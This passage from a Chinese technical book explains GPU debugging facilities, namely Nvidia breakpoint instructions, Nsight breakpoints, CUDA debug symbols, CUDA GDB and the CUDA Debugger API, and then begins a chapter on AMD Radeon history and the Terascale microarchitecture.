令时,会自动停止执行,中断到调试器,如图9-18所示。
在作者使用的软硬件环境下,中断到来后,代表程序计数器的执行
点指向的是断点指令的下一行。这与CPU端的行为有所不同。如第4章
所述,在CPU端,断点命中后,系统会自动把程序计数器“调整回退”到
刚刚执行过的断点指令。不过这属于细微差别,无伤大雅,读者了解其
特性后不要被误导就可以了。
图9-18 因为手工嵌入的断点指令而中断到调试器
如果在没有调试器的情况下执行上面的算核函数,那么GPU遇到断
点后会报告异常,导致程序意外终止,可以看到类似下面这样的错误消
息。
Exception condition detected on fd 424
=thread-group-exited,id="i1"
因此,使用上面的代码主要出于学习目的,在实际项目中,尽量不
要这样手工插入断点指令。为了特殊调试而插入这样的断点也要及时清
除或通过条件编译进行控制,比如写成下面这样。
#ifdef ADV_DEBUG
asm("brkpt;");
#endif
这样,当需要特别调试时,只要在编译选项中增加ADV_DEBUG符
号或者在代码中增加#define ADV_DEBUG就可以了。
9.8.2 硬件的断点指令
前面介绍过,PTX 指令是中间指令,并不是GPU硬件的指令。那么
GPU硬件的断点指令是什么呢?
在Nsight调试器中,调出“反汇编”窗口(在菜单栏中选择“调
试”→“窗口”→“反汇编”),查看上面手工嵌入的PTX指令对应的SASS
指令,便看到了硬件的断点指令(见图9-19)。
图9-19 在“反汇编”窗口中查看硬件的断点指令
从图9-19可以清楚地看出,手工嵌入的brkpt指令(属于PTX指令
集)对应的硬件指令为BPT.TRAP 0x1,特别摘录的对应关系如下。
asm("brkpt;");
0x000cf950 [0304] tmp15:
0x000cf950 [0307] brkpt;
0x000cf950 BPT.TRAP 0x1;
在前面介绍硬件指令集时,细心的读者就会看到在指令列表中有一
条断点指令,名叫BPT。现在看来,BPT只是主操作符,它至少还支持
后缀.TRAP和操作数1。或许它还支持其他操作数,但是官方的公开资
料里对此讳莫如深。
9.9 Nsight的断点功能
Nsight是Nvidia为集成开发环境(IDE)开发的一套插件,目前支持
Visual Studio和Eclipse两大著名的IDE。本节以Visual Studio版本为例,
简要介绍Nsight的断点功能。
9.9.1 源代码断点
在使用Nsight调试时,可以使用多种方式在算核函数的源代码中设
置断点,与在普通C代码中设置断点的方法几乎一样。通常,首先将光
标移动到要设置断点的代码行,然后在菜单栏中选择“调试”→“切换断
点”并按F9键,或者单击源代码窗口左侧边缘附近的断点状态图标区
(在行号左侧一列)。
值得说明的是,如果对源代码行设置断点失败,那么请检查编译选
项中是否启用了“产生GPU 调试符号”选项(“项目属性”→ CUDA C/C++
→ Device → Generate GPU Debug Information)(即-G选项)(9.11节将
详细介绍)。
9.9.2 函数断点
Nsight还支持函数端点,设置方法也有多种。可以使用Visual Studio
的标准界面(在菜单栏中选择“调试”→“新建断点”→“函数断点”),也
可以使用Nsight的扩展界面。在CUDA Info窗口中设置断点,基本步骤
是打开一个CUDA Info窗口(在菜单栏中选择Nsight→Windows→CUDA
Info),选择Functions视图(见图9-20左下角部分),然后在Functions
列表中选择要设置断点的函数并右击,从上下文菜单中选择Set
Breakpoint。
值得说明的是,当函数断点命中时,中断的位置是在函数名那一
行,如图9-20所示。
观察图9-20右侧的“反汇编”窗口,可以看到此时的指令是在准备参
数,还没有进入算核函数的函数体。所以函数断点命中的时机要比设在
函数内第1行的断点要早,这可以用来调试GPU加载算核函数参数的过
程。
图9-20 当函数断点命中时的场景
9.9.3 根据线程组和线程编号设置条件断点
为了可以精确中断到调试者最感兴趣的场景,Nsight具有丰富的条
件断点支持,可以像调试普通C程序那样给断点设置条件。除了使用普
通的变量之外,条件中也可以使用CUDA的内置变量。图9-21显示的就
是条件断点threadIdx.x == 200命中时的场景。
图9-21 条件断点命中
观察图9-21所示的“局部变量”窗口,可以看到当前线程的编号为
{200, 0, 0},线程组编号为{58, 0, 0}。右上角的CUDA Info窗口显示了当
前Warp中的32个执行管线(lane)的信息,灰色箭头所指的8号管线执
行的正是当前命中断点的线程。
为了更方便地针对线程组和线程编号设置断点,Nsight还定义了 4
个宏,比如threadIdx.x == 200可以使用宏简写为@threadIdx(200,
0, 0)。表9-8列出了这4个宏的详细信息。
表9-8 方便设置条件断点的宏
宏
展 开
说 明
@threadIdx(x,
y, z)
(threadIdx.x == (x) && threadIdx.y ==
(y) && threadIdx.z == (z))
必须使用十进制数
@threadIdx(#N)
( (((threadIdx.z * blockDim.y) +
threadIdx.y) * blockDim.x + threadIdx.x)
== (N) )
根据平坦线程号设置条
件,必须使用十进制数
@blockIdx(x, y,
z)
(blockIdx.x == (x) && blockIdx.y == (y)
&& blockIdx.z == (z))
必须使用十进制数
@blockIdx(#N)
( (((blockIdx.z * gridDim.y) +
blockIdx.y) * gridDim.x + blockIdx.x) ==
(N) )
根据平坦的线程块号设
置条件,必须使用十进
制数
在Nsight内部,当执行条件断点操作时,位于Visual Studio进程内的
插件模块会通过网络通信(Socket)把条件信息送给Nsight的监视器进
程(进程名为Nsight.Monitor.exe)。如果设置的条件无效,那么监视器
进程会弹出类似图9-22所示的错误提示。
图9-22 当设置无效条件断点时的错误提示
对应地,在Visual Studio的“输出”窗口中,也有类似的错误消息,
比如以下消息。
Invalid breakpoint condition specified.
Syntax error, unexpected LITERAL, expecting RPAREN, or COMMA
threadIdx(100,0,0)
^ error at column 15
This breakpoint instance will hit unconditionally.
出现上述错误是因为使用threadIdx宏时缺少@符号。
9.10 数据断点
与CPU端的数据断点类似,在使用Nsight调试时,也可以对算核函
数要访问的变量设置数据断点。数据断点有时也称为数据监视断点,或
者简称监视断点和监视点。
9.10.1 设置方法
Nsight的数据断点功能复用了Visual Studio的界面,因此设置方法与
设置CPU的数据断点方法非常类似。首先,使用下面两种方法之一调出
图9-23所示的“新建数据断点”界面。
图9-23 “新建数据断点”对话框
在菜单栏中单击“调试”→“新建断点”→“数据断点”。
在菜单栏中单击“调试”→“窗口”→“断点”打开“断点”窗口,然后
在“断点”窗口中单击左上角的“新建”→“数据断点”。
接下来,只要把要监视变量的地址和长度输入到对话框中即可。值
得强调的是,一定要输入变量的地址,而不只是变量名。举例来说,对
于一直作为例子的向量加法程序,如果希望数组C的28000号元素变化时
中断,那么应该在地址栏中输入@C[28000],而不只是C[28000]。如果
输入C[28000],那么会把这个元素的值(默认为0)当作地址送给
GPU,导致这个断点永远不会命中。
对于64位的算核程序,目前支持的数据断点长度为1、2、4、8四个
值。
另一点值得说明的是,通过Nsight设置的数据断点只能监视写操
作,在读操作中不会命中。
9.10.2 命中
图9-24显示了GPU的数据断点命中时的场景。弹出的对话框中包含
了数据断点所监视的地址和长度信息。单击“确定”按钮关闭对话框后,
把鼠标指针悬停在C[i] = A[i] + B[i]这一行,意思是这一行修改了
被监视的内存。在“断点”子窗口中,命中的断点会加粗显示。
观察“反汇编”窗口,可以看到执行点对应的指令是下面这条存储
(Store)指令。
0x000cfc58 ST.E [R2], R8, P0;
图9-24 数据断点命中
上面指令可以描述为根据谓词寄存器P0决定是否把R8写到R2所指
向的地址。从寄存器窗口观察R2值,发现它与断点的监视地址
(0x60133f0c0)并不相同,即使去掉最高位6,余下的部分也不一样,
不过二者比较接近,只差4字节。这是为什么呢?下面给出了寄存器信
息。
R0 = 0x0000752f R1 = 0x00fffc80 R2 = 0x0133f0bc R3 = 0x00000005 R4 = 0x013
3f0bc
R5 = 0x00000000 R6 = 0x0000752f R7 = 0x00000000 R8 = 0x3f37436e R9 = 0x000
0752f
R10 = 0x0000752f CFA = 0x00fffc80 P0 = 1 P1 = 0 P2 = 1 P3 = 0 P4 = 0
P5 = 0 P6 = 0 CC = 0x0
LogicalPC = 0x000cfc58 FunctionRelativePC = 0x00000598
观察图9-24右上角的CUDA Info窗口,会发现有两条管线都显示断
点状态,目前显示的是上面一条,双击下面一条切换到另一个线程,再
观察以下寄存器信息。
R0 = 0x00007530 R1 = 0x00fffc80 R2 = 0x0133f0c0 R3 = 0x00000005 R4 = 0x013
3f0c0
R5 = 0x00000000 R6 = 0x00007530 R7 = 0x00000000 R8 = 0x3f339167 R9 = 0x000
07530
R10 = 0x00007530 CFA = 0x00fffc80 P0 = 1 P1 = 0 P2 = 1 P3 = 0 P4 = 0 P5 =
0
P6 = 1 CC = 0x0
LogicalPC = 0x000cfc58 FunctionRelativePC = 0x00000598
这次R2就与数据断点地址的低位部分完全匹配了。如此看来,至少
对于作者使用的软硬件配置,数据断点命中,不但刚好访问断点地址的
执行单元会进入断点状态,而且访问附近地址的执行单元也可能会进入
断点状态,这应该与GPU以Warp为单位并行执行的特征有关。
那么,为什么断点地址的高位部分与R2不一样呢?这应该是Nvidia
GPU分配和访问内存的方法决定的。观察CUDA Info的“内存分配”窗
口,我们会发现所有内存都具有一个共同特征,那就是最高(十六进
制)位都一样,推测它们都属于同一个段,具有相同的基地址。上面的
R2寄存器所含地址是基于这个基地址的偏移量。这与x86 CPU上的段概
念非常类似。
另外值得说明的是,GPU是在执行写操作之前中断的,用官方文档
上的话来说,是在刚好要对断点地址执行写操作之前中断的(just prior
to writing data to that address)。举例来说,对于设置在&C[30000]的断
点,中断下来后,我们观察C[30000],它的值还是0,还没有变化。这
与x86 CPU中的数据断点行为是不一样的。
9.10.3 数量限制
CPU上的数据断点是有数量限制的(纯软件模拟的情况除外)。那
么GPU上的数据断点是否有数量限制呢?在Nsight的手册上,没有这个
问题的答案。作者曾经故意设置了30个数据断点,也没有触碰到限制。
看来,GPU支持的数据断点数量远远超过CPU。
9.10.4 设置时机
与在没有开始调试就可以设置代码断点不同,只有当调试会话建立
后,才可以设置数据断点。因此,通常需要先设置一个代码断点,中断
后再设置数据断点。
9.11 调试符号
调试符号是衔接二进制信息和源代码信息的桥梁,很多调试功能都
是依赖调试符号的。本节将简要介绍CUDA程序的调试符号。一个
CUDA程序包含两类代码,一类是在CPU上执行的主机部分,另一类是
在GPU上执行的设备部分。本节只介绍设备部分的调试符号,也就是用
于GPU调试的信息。
9.11.1 编译选项
在CUDA的编译和链接选项中都有关于调试符号的设置,通过-G选
项可以配置是否产生GPU调试信息。
CUDA编译器的很多地方都与LINUX和GCC编译器有关,作者认为
或许这是当初开发CUDA技术时制订的策略。比如,-G选项很容易让人
联想起GCC中的-g(小写)选项。在GCC中,-g选项用于产生CPU的调
试符号。
9.11.2 ELF载体
CUDA程序的GPU代码是以ELF文件存放的。ELF的全称是
Executable and Linkable Format,是Linux操作系统上使用的可执行文件
格式。
对于Windows平台上的CUDA程序,把ELF文件形式的GPU代码存
放到Windows中PE(Portable and Executable)格式的可执行文件中。
使用CUDA工具包中的cuobjdump可以观察或者提取出PE文件中的
ELF部分。比如,下面的命令会列出simplePrintf.exe中包含的所有ELF内
容(在编译时针对不同微架构产生了多个ELF文件)。
D:\apps\cuda91\bin\win64\Debug>..\..\cuobjdump -lelf simplePrintf.exe
ELF file 1: simplePrintf.1.sm_30.cubin
ELF file 2: simplePrintf.2.sm_35.cubin
<省略5行>
ELF file 8: simplePrintf.8.sm_70.cubin
可以使用-elf选项来观察ELF文件的详细信息,比如....\cuobjdump -
elf simplePrintf.exe。
9.11.3 DWARF
DWARF是一种开放的调试信息格式,被包括GCC在内的很多编译
器所采用。CUDA编译器也使用了这个格式来描述GPU的调试符号。
在GCC中,DWARF调试信息是与编译好的可执行代码放在同一个
ELF文件中的。与此类似,CUDA编译出的GPU调试符号也是与GPU代
码一起放在ELF文件中的。在Windows平台上,它们又一起嵌入PE文件
中。这意味着,对于Windows平台上的CUDA程序,CPU部分的调试信
息是放在PDB中的,而GPU的调试信息是放在可执行文件中的。
本书后续分卷将详细介绍DWARF格式。
9.12 CUDA GDB
在Linux系统上,除了可以使用Eclipse插件形式的Nsight调试器外,
还可以使用CUDA GDB来调试CUDA程序。
CUDA GGB是基于著名的GDB开发的。CUDA GDB的大部分代码
是开源的,可以在GitHub上下载其代码。
9.12.1 通用命令
使用CUDA GDB调试CUDA程序与使用普通GDB调试普通程序在很
多地方都是相同的。或者说,CUDA GDB只是在GDB的基础上做了一
些扩展,让其可以支持GPU代码和GPU目标。为了减少读者的学习时
间,CUDA GDB尽可能保持与普通GDB的一致性,很多命令的格式和
用法都是保持不变的。我们把与普通GDB相同的命令叫通用命令。比
如,开始调试会话的file和run命令、观察栈回溯的bt命令、设置断点的b
命令、恢复执行的c命令、反汇编的disassemble命令等都是通用命令。
举例来说,可以使用break命令对foo.cu中的算核函数设置断点。
(cuda-gdb) break foo.cu:23
也可以使用cond命令对断点附加条件。
(cuda-gdb) cond 3 threadIdx.x == 1 && i < 5
也可以把上面两条命令合成如下一条。
(cuda-gdb) break foo.cu:23 if threadIdx.x == 1 && i < 5
上面条件中的threadIdx是CUDA的内置变量,代表执行算核函数的
线程ID。
9.12.2 扩展
为了支持GPU调试的特定功能,CUDA GDB对一些命令做了扩展,
主要是set和info命令。
CUDA GDB增加了一系列以set cuda开头的命令,比如set cuda
break_on_launch application和set cuda memcheck on等。前者执行后,每
次启动算核函数时都会中断到调试器;后者用于启用内存检查功能,检
测与内存有关的问题。
类似地,CUDA GDB还增加了很多个以info cuda开头的命令,用于
观察GPU有关的信息。比如,info cuda devices可以显示GPU的硬件信
息。此外,info cuda后面可以跟随的参数如下。
sms:显示当前GPU的所有流式多处理器(SM)的信息。
warps:显示当前SM的所有Warp的信息。
lanes:显示当前Warp的所有管线的信息。
kernels:显示所有活跃算核的信息。
blocks:显示当前算核的所有活跃块(active block),支持合并格
式和展开格式,可以使用set cuda coalescing on/off来切换。
threads:显示当前算核的所有活跃线程,支持合并格式和展开格
式,可以使用set cuda coalescing on/off来切换。
launch trace:当在算核函数中再次启动其他算核函数时,可以用这
个命令显示当前算核函数的启动者(父算核)。
launch children:查看当前算核启动的所有子算核。
contexts:查看所有GPU上的所有CUDA任务(上下文)。
9.12.3 局限
与Windows平台上的Nsight相比,CUDA GDB是有一些局限的,比
如针对GPU算核代码的监视点是不支持的。
本书后续分卷将详细介绍GDB以及它的变体,包括重要调试命令的
详细解析,以及常用功能的工作原理和核心代码。为了避免重复,本节
只做简单介绍。
9.13 CUDA调试器API
CUDA GDB内部使用一套名叫CUDA调试器API(CUDA Debugger
API)的编程接口来访问底层信息和GPU硬件。CUDA的工具包包含了
这套API的文档。在CUDA GDB的开源代码中,包含了API的头文件和
用法。
9.13.1 头文件
在CUDA GDB源代码目录的include子目录中,可以找到CUDA调试
器API的核心头文件cudadebugger.h。这个头文件包含了调试器API的常
量、结构体定义和函数指针表。
其中,最重要的一个结构体就是包含函数指针表的CUDBGAPI_st
结构体,它的字段都是函数指针。
struct CUDBGAPI_st {
/* Initialization */
CUDBGResult (*initialize)(void);
CUDBGResult (*finalize)(void);
/* Device Execution Control */
CUDBGResult (*suspendDevice)(uint32_t dev);
CUDBGResult (*resumeDevice)(uint32_t dev);
CUDBGResult (*singleStepWarp40)(uint32_t dev, uint32_t sm, uint32_t wp
);
/* Breakpoints */
CUDBGResult (*setBreakpoint31)(uint64_t addr);
CUDBGResult (*unsetBreakpoint31)(uint64_t addr);
…
};
这个结构体包含了调试API的所有函数接口,根据功能分为如下多
个小组,上面列出了三组,分别为初始化、设备执行控制以及断点。设
备执行控制小组包含3个函数:suspendDevice用于暂停执行,
resumeDevic用于恢复执行,singleStepWarp40用于单步执行。为了节约
篇幅,还有一些小组没有列出,包括设备状态观察、设备状态改变、硬
件属性、符号、事件以及与版本相关的扩展功能。
9.13.2 调试事件
与很多基于调试事件的调试模型类似,CUDA调试API也是调试事
件驱动的。在cudadebugger.h中定义了多个用于描述调试事件的结构
体,目前版本有6个,分别为CUDBGEvent30、CUDBGEvent32、
CUDBGEvent42、CUDBGEvent50、CUDBGEvent55、CUDBGEvent。
前面3个已经过时,不建议使用。在每个结构体中,第一个字段是名为
CUDBGEventKind的枚举类型变量,代表事件的类型,后面是用于描述
事件详细信息的联合体结构,根据事件类型选择对应的结构体。以下节
选开头的部分。
typedef struct {
CUDBGEventKind kind;
union cases_st {
struct elfImageLoaded_st {
uint32_t dev;
uint64_t context;
uint64_t module;
uint64_t size;
uint64_t handle;
uint32_t properties;
} elfImageLoaded;
…
其中,CUDBGEventKind是枚举类型的常量,定义了所有事件类
型,其详情见表9-9。
表9-9 CUDA调试事件的类型、号码与含义
事 件 类 型
号码
含 义
CUDBG_EVENT_INVALID
0x0
无效事件
CUDBG_EVENT_ELF_IMAGE_LOADED
0x1
算核映像加载
CUDBG_EVENT_KERNEL_READY
0x2
算核启动就位(launched)
CUDBG_EVENT_KERNEL_FINISHED
0x3
算核终止
CUDBG_EVENT_INTERNAL_ERROR
0x4
内部错误
CUDBG_EVENT_CTX_PUSH
0x5
CUDA执行上下文入栈
CUDBG_EVENT_CTX_POP
0x6
CUDA执行上下文出栈
CUDBG_EVENT_CTX_CREATE
0x7
CUDA执行上下文创建
CUDBG_EVENT_CTX_DESTROY
0x8
CUDA执行上下文销毁
CUDBG_EVENT_TIMEOUT
0x9
等待事件超时
CUDBG_EVENT_ATTACH_COMPLETE
0xa
附加完成
CUDBG_EVENT_DETACH_COMPLETE
0xb
分离完成
CUDBG_EVENT_ELF_IMAGE_UNLOADED 0xc
算核映像模块卸载
在CUDA GDB的cuda-events.c中,包含了接收和处理调试事件的逻
辑,函数void cuda_process_event (CUDBGEvent *event)是入口,内部按
参数指定的事件类型分别调用其他子函数。
9.13.3 工作原理
CUDA调试API的内部实现使用的是进程外模型,调用API的代码一
般运行在调试器进程(比如cuda-gdb)中,API的真正实现运行在名为
cudbgprocess的调试服务进程中,二者通过进程间通信(IPC)进行沟
通,其协作模型如图9-25所示。
当在cuda-gdb中开始调试时,cuda-gdb会创建一个临时目录,其路
径一般为:/tmp/cuda- dbg/<pid>/session<n>。
图9-25 CUDA的进程外调试模型
其中,pid为cuda-gdb进程的进程ID,n代表在cuda-gdb中的调试会
话序号。第一次执行run命令来运行被调试进程时,n为1,重新运行被
调试进程调试时n便为2。例如,作者在进程ID为2132的cuda-gdb中第3
次执行run后,cuda-gdb使用的临时目录名为/tmp/cuda-
dbg/2132/session3,其内容如清单9-4所示。
清单9-4 CUDA调试器使用的临时目录
root@zigong:/tmp/cuda-dbg/2132/session3# ll
total 156
drwxrwx--- 2 gedu gedu 4096 5 28 14:48 ./
drwxrwx--x 3 gedu gedu 4096 5 28 14:47 ../
-rwxr-xr-x 1 gedu gedu 5000 5 28 14:47 cudbgprocess*
-rw------- 1 gedu gedu 86184 5 28 14:48 elf.677300.a03250.o.qQBQYf
-rw------- 1 gedu gedu 10792 5 28 14:48 elf.677300.a03820.o.09dHeJ
-rw------- 1 gedu gedu 24008 5 28 14:48 elf.677300.a03e90.o.EdIcvc
-rw------- 1 gedu gedu 4840 5 28 14:48 elf.677300.ac3af0.o.GCscMF
-rw------- 1 gedu gedu 4944 5 28 14:48 elf.677300.ae85b0.o.EPQYKM
srwxrwxr-x 1 gedu gedu 0 5 28 14:47 pipe.3.2=
清单9-4中的cudbgprocess在整个模型中具有很重要的作用,它是调
试服务的主要提供者,这里将其称为调试服务程序。
接下来,会以服务的形式启动cudbgprocess,启动时通过命令行参
数传递一系列信息。
/tmp/cuda-dbg/2132/session3/cudbgprocess 2132 128 1 0 0 0 4 0 0
调试服务进程启动后,会与GPU的内核模式驱动程序建立联系,然
后通过IOCTL机制与其通信。它也会与CUDA GDB建立通信连接,以便
接受CUDA GDB的任务请求,为其提供服务。
在CUDB GDB的源代码中,libcudbg.c包含了所有调试API的前端实
现,其内部会通过IPC机制调用被调试进程中的后端实现。下面以一个
API为例做简单说明。下面是cudbgSuspend Device函数的代码,来自
libcudbg.c。
static CUDBGResult
cudbgSuspendDevice (uint32_t dev)
{
char *ipc_buf;
CUDBGResult result;
CUDBG_IPC_PROFILE_START();
CUDBG_IPC_BEGIN(CUDBGAPIREQ_suspendDevice);
CUDBG_IPC_APPEND(&dev,sizeof(dev));
CUDBG_IPC_REQUEST((void *)&ipc_buf);
result = *(CUDBGResult *)ipc_buf;
ipc_buf +=sizeof(CUDBGResult);
CUDBG_IPC_PROFILE_END(CUDBGAPIREQ_suspendDevice, "suspendDevice");
return result;
}
在这个函数中,首先把调用信息放在用于跨进程通信的ipc_buf中,
然后通过CUDBG_IPC_REQUEST宏发送出去。这个宏定义在
libcudbgipc.h中,展开后会调用cudbgipcRequest函数,后者的实现也是
开源的。在libcudbgipc.c中,其在内部使用管道文件与后端通信。
9.14 本章小结
本章使用较大的篇幅全面介绍了Nvidia GPU的硬件和软件。首先介
绍硬件基础,包括微架构、硬件指令,然后从PTX指令集过渡到软件模
型和CUDA技术,接下来介绍与调试密切相关的陷阱机制和系统调用。
后面部分详细讨论了Nvidia GPU调试设施,包括GPU硬件提供的设施,
以及调试符号、调试器和调试API等软件设施。
因为主题和篇幅限制,本书没有介绍Nvidia GPU的图形调试设施和
调优工具(nvprof及API),感兴趣的读者可以参考CUDA工具集中的有
关文档。
参考资料
[1] The 10 most important graphics cards in PC history .
[2] NVIDIA Launches the World's First Graphics Processing Unit:
GeForce 256 .
[3] Nvidia Tesla: A UNIFIED GRAPHICS AND COMPUTING
ARCHITECTURE.
[4] NVIDIA Quadro FX 370.
[5] Inside Volta: The World’s Most Advanced Data Center GPU.
[6] Technical Brief: NVIDIA GeForce 8800 GPU Architecture
Overview.
[7] NVIDIA Fermi GF100 GPUs - Too little, too late, too hot, and too
expensive .
[8] The Soul of Maxwell: Improving Performance per Watt .
[9] Whitepaper: NVIDIA GeForce GTX 1080 .
[10] what is “SASS” short for?.
[11] Predication.
[12] NVIDIA CUDA Windows Release Notes Version 1.0.
[13] Trap handler architecture for a parallel processing unit.
[14] The Top 10 Innovations in the New NVIDIA Fermi Architecture,
and the Top 3 Next Challenges.
第10章 AMD GPU及其调试设施
与上一章的结构类似,本章先介绍AMD公司研发的Radeon系列
GPU,探讨它的发展简史、微架构和软件模型,然后详细介绍AMD
GPU的调试设施。
格友评点
10.1 演进简史
1985年8月,四位华裔加拿大人创立了一家名叫Array Technology的
公司,这就是后来在显卡领域大名鼎鼎的ATI公司。四个创始人的名字
分别是刘理凯(Lee Ka Lau)、刘百行(P. H. Lau)、何国源(Kwok
Yuen Ho)和班尼·刘(Benny Lau)。
2000年,ATI开始使用Radeon(中文翻译为镭)作为新产品线的品
牌商标。自此开始,Radeon成为显卡和GPU领域的一个响亮名字,直到
今天。
2006年7月,AMD做出惊人之举,以56亿美元的价格收购ATI。那
几年,AMD因为x64的成功,长期被英特尔挤压的局势有所扭转,人们
本来觉得它会借此机会对英特尔主导的x86市场攻城略地。没想到,它
把现金砸在了购买ATI上,当时很多人认为这是发疯之举。十几年过去
了,如今回望历史,这真的是非常有战略眼光的一步棋。
胜过英特尔以76.8亿美元收购McAfee千倍。
10.1.1 三个发展阶段
从2000年的R100开始,Radeon商标的显卡至今已经走过了近20个
年头。从技术角度来看,其发展经历可以分为如下三个阶段。
2000年~2007年,这一阶段的设计特点是用固定功能的硬件流水线
(fixed pipeline)来实现2D/3D加速,主要产品有R100(支持
DirectX 7)、R200、R300、R420、R520(支持DirectX 9.0C)等。
2007年~2012年,通用化设计思想成为主流,逐步使用统一的渲染
器模型(Unified Shader Model)替代固定功能的硬件流水线。这一
阶段的大多数产品都属于Terascale微架构,主要产品有R600、
R700(Terascale 1)、Evergreen(Terascale 2)和Northern
Islands(Terascale 3)。
2011年8月,在HPG11(High Performance Graphics)大会上,AMD
公开介绍了新的GPU微架构,名叫Graphics Core Next(GCN)。推
出以来,该微架构已经迭代6次,从GCN 1到GCN 6,至今仍在使
用。有消息称替代GCN的新设计将在2020年推出。
10.1.2 两种产品形态
2006年AMD启动代号为Fusion(融合)的项目,目标是研发把CPU
和GPU集成在同一块晶体(die)上的SoC。收购ATI便是这个项目的一
部分。经过五年努力,2011年,AMD终于推出了代号为LIano的第一代
产品。AMD给这个新形态的芯片赋予一个新的名字,称为加速处理单
元(Accelerated Processing Unit,APU)。
早期的APU中使用的是Terascale微架构的GPU,2013年开始使用
GCN微架构的GPU,直到今天。
APU推出后,AMD的GPU便有了两种产品形态,一种是PCIe接口
的独立显卡,另一种是APU中的集成GPU。
在作者为写作本章而准备的ThinkPad笔记本电脑中,配备了上述两
种形态的GPU。先说APU,其正式名称为A10-8700P APU,开发代号叫
CARRIZO,是LIano的后代,发布于2015年,是专门针对笔记本市场的
产品,被视为第一款符合HSA 1.0规范(见10.5节)的SoC。这个APU中
的CPU包含了4个核心,实现的是Excavator微架构。A10-8700P内的GPU
是Radeon R6,包含了6个计算单元(CU),实现的是第三代GCN微架
构。
另一个GPU在独立显卡中,型号为Radeon M340DX,配备的是代号
为HAINAN的GPU,实现的是第二代GCN微架构。
格友评点
10.2 Terascale微架构
2007年5月14日,AMD推出第一款基于R600 GPU的Radeon HD
2900 XT显卡,这是ATI被纳入AMD旗下后的第一款重量级产品,一推
出便备受关注,结果也不负众望。R600的内部设计采用的是第一代
Terascale微架构,本节就以它为例来介绍Terascale微架构。
10.2.1 总体结构
R600包含大约7亿个晶体管,芯片的晶体面积(die size)也比较
大,有420mm2[1]。占据芯片核心位置的是流处理器单元(Stream
Processing Unit)。R600内部包含320个流处理器,分为4组,每一组称
为一个SIMD核心。在图10-1所示的R600 GPU结构框图中,中央像四串
糖葫芦似的部分便是4组流处理器。每一组又细分为8行,以中轴为界,
左右各一小组,每一小组包含5个流处理器,这样一行有10个流处理
器,8行刚好有80个流处理器。值得说明的是,每一小组中5个流处理器
的能力是不一样的,只有一个可以执行特殊函数,因此图10-1中的5个
小矩形故意画得1大4小。
糖葫芦之语妙。
老雷评点
作文之法,意之曲折者,宜写之以浅显之词。理之浅显者,宜运之以曲折之笔。
值得说明的是,R600的指令手册把流处理器称为并行数据处理器
(Data-Parallel Processor,DPP),这可能是为了避免与G80使用同样的
术语。
图10-1 R600 GPU结构框图
除了通用的流处理器之外,R600还包含16个纹理单元(Texture
Unit)。这16个纹理单元也分为4组,与4个SIMD核心分别连接,协同
工作。
在R600中,还包含一个可编程的曲面细分器(tessellator)。曲面
细分(tessellation)是当时很新的3D图形技术,其核心思想是让GPU自
动产生三角形,更精细地描述3D物体,以提高3D画面的质量。ATI和
AMD投入很多力量研发和推广这项技术。后来终于被微软采纳,成为
DirectX 11中的最重要技术之一,大放异彩。
10.2.2 SIMD核心
对R600的总体结构有所了解后,我们再深入到每个SIMD核心的内
部。图10-2是SIMD核心的结构框图,来自Mike Houston在2008年
Siggraph大会上的演讲。Mike Houston在斯坦福大学读博时参与了包括
Brook(CUDA源头)在内的多个GPGPU项目,2007年加入AMD,后来
成为AMD的院士。
首先解释一下,图10-1和图10-2的画法不同,对于80个流处理器,
前者竖着画,后者横着画,就像把本来立着的糖葫芦放倒了。图10-2
中,画出了两个SIMD核心,每个包含四个部分,从左到右依次为:负
责调度的线程序列器(Thread Sequencer)、80个流处理器、本地共享
内存和纹理单元。这种结构的设计思想是纹理处理器从内存获取纹理数
据后,首先进行解压缩等预处理,然后再交给流处理器做更多运算。纹
理单元和流处理器可以通过本地共享内存快速通信与交换数据。
图10-2 SIMD核心的结构框图
图10-2这样由流处理器、纹理单元、共享内存和线程调度器组成的
SIMD核心就像是一个多兵种的战斗军团,可以联合起来对并行的数据
进行各种计算。这样的SIMD核心要比Nvidia的CUDA核“大”很多:不但
在晶体管数量上要大,而且在处理能力方面也要大。
10.2.3 VLIW
VLIW 的全拼是Very Long Instruction Word,直译便是非常长的指
令字,是通用芯片领域的一个术语。它用来指代一种指令集体系结构
(ISA)设计风格,表面上是说指令的长度很长,深层的含义是指通过
长指令一次执行一套功能很强大的操作,在指令层次上实现并行操作。
Terascale的指令集是典型的VLIW风格,上面描述的每个SIMD核心
有80个流处理器,每5个流处理器组成一个ALU,每个ALU中的5个流处
理器可以同时执行4或者5条以VLIW格式同时发射(co-issue)的操作
(op)。
因为VLIW指令是在编译期产生的,所以VLIW技术的实际效果是
依赖编译器的,需要编译器在编译时寻找到合适的并行机会。根据
AMD的分析,对于典型的3D游戏应用,大多时候只使用5个中的3或者4
个执行单元。为此,在后来版本的Terascale GPU中,AMD改进了设
计,把5个流处理器缩减为4个。这个变化简称为从VLIW5到VLIW4,
其中,5和4表示流处理器的个数从5个变为4个。较早使用这种GPU设计
的产品是A10-4600M,它属于APU产品。这样改进后,也可以降低GPU
占用的芯片面积,提高单位面积的性能(performance per mm²)。
10.2.4 四类指令
R600的指令分为四个大类:流程控制(contrl-flow,CF)指令、
ALU(算术逻辑单元)指令、纹理获取(texture-fetch)指令和顶点获取
(vertex-fetch)指令。前两种指令的长度均是64位(两个DWORD),
后两种指令的长度均是128位(4个DWORD)。
在R600中,有分句(clause)的概念,每个分句由相同类型的多条
指令组成。除了流程控制指令外,另三种指令都可以组成对应类型的分
句,因此有三种分句,即ALU分句、纹理获取分句和顶点获取分句。
每个R600程序都分两个节(section),前面一节是流程控制指令,
后面一节是子句,ALU子句在前,另两种子句在后。当CPU端的软件启
动R600程序时,会把每种子句的起始地址告诉R600。
流程控制指令又可以细分为如下几种子类型。
用于发起子句的指令。
输入和输出指令,前者用于把数据从各类缓冲区中加载到通用寄存
器(GPR),后者用于把数据从通用寄存器写到各类缓冲区。
与其他功能单元的通信和同步指令,比如EMIT_VERTEX指令指示
有顶点输出(写到缓冲区)。
条件执行指令。
分支和循环指令,除了各种形式的循环语句外,还有CALL和RET
这样的调用子过程的指令。
纵观R600的硬件结构和软件指令,可以看出它的很多设计都带着
3D烙印,有些概念直接来自DirectX这样的3D模型。所以,R600很适合
执行顶点、像素、几何变换等图形任务,满足了当时GPU的主要用途。
然而,从通用计算的角度看,它虽然比之前的固定硬件单元前进了一大
步,但无论硬件结构还是软件模型都不够通用,与G80的差距很大,有
待GCN微架构继续完成历史使命。
10.3 GCN微架构
2011年8月,在HPG11(High-Performance Graphics)大会上,AMD
的两位院士架构师Michael Mantor和Mike Houston一起介绍了新一代的
GPU微架构[2],名字就叫“下一代图形核心”(Graphics Core Next,
GCN)。
